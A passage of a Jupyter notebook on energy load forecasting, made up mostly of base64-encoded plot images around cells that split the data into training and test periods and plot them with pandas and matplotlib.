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", "text/plain": [ "<Figure size 1080x576 with 1 Axes>" ] }, "metadata": { "needs_background": "light" } } ], "metadata": {} }, { "cell_type": "markdown", "source": [ "## Create training and testing data sets\n" ], "metadata": {} }, { "cell_type": "code", "execution_count": 20, "source": [ "train_start_dt = '2014-11-01 00:00:00'\n", "test_start_dt = '2014-12-30 00:00:00' " ], "outputs": [], "metadata": {} }, { "cell_type": "code", "execution_count": 21, "source": [ "energy[(energy.index < test_start_dt) & (energy.index >= train_start_dt)][['load']].rename(columns={'load':'train'}) \\\n", " .join(energy[test_start_dt:][['load']].rename(columns={'load':'test'}), how='outer') \\\n", " .plot(y=['train', 'test'], figsize=(15, 8), fontsize=12)\n", "plt.xlabel('timestamp', fontsize=12)\n", "plt.ylabel('load', fontsize=12)\n", "plt.show()" ], "outputs": [ { "output_type": "display_data", "data": { "image/png": "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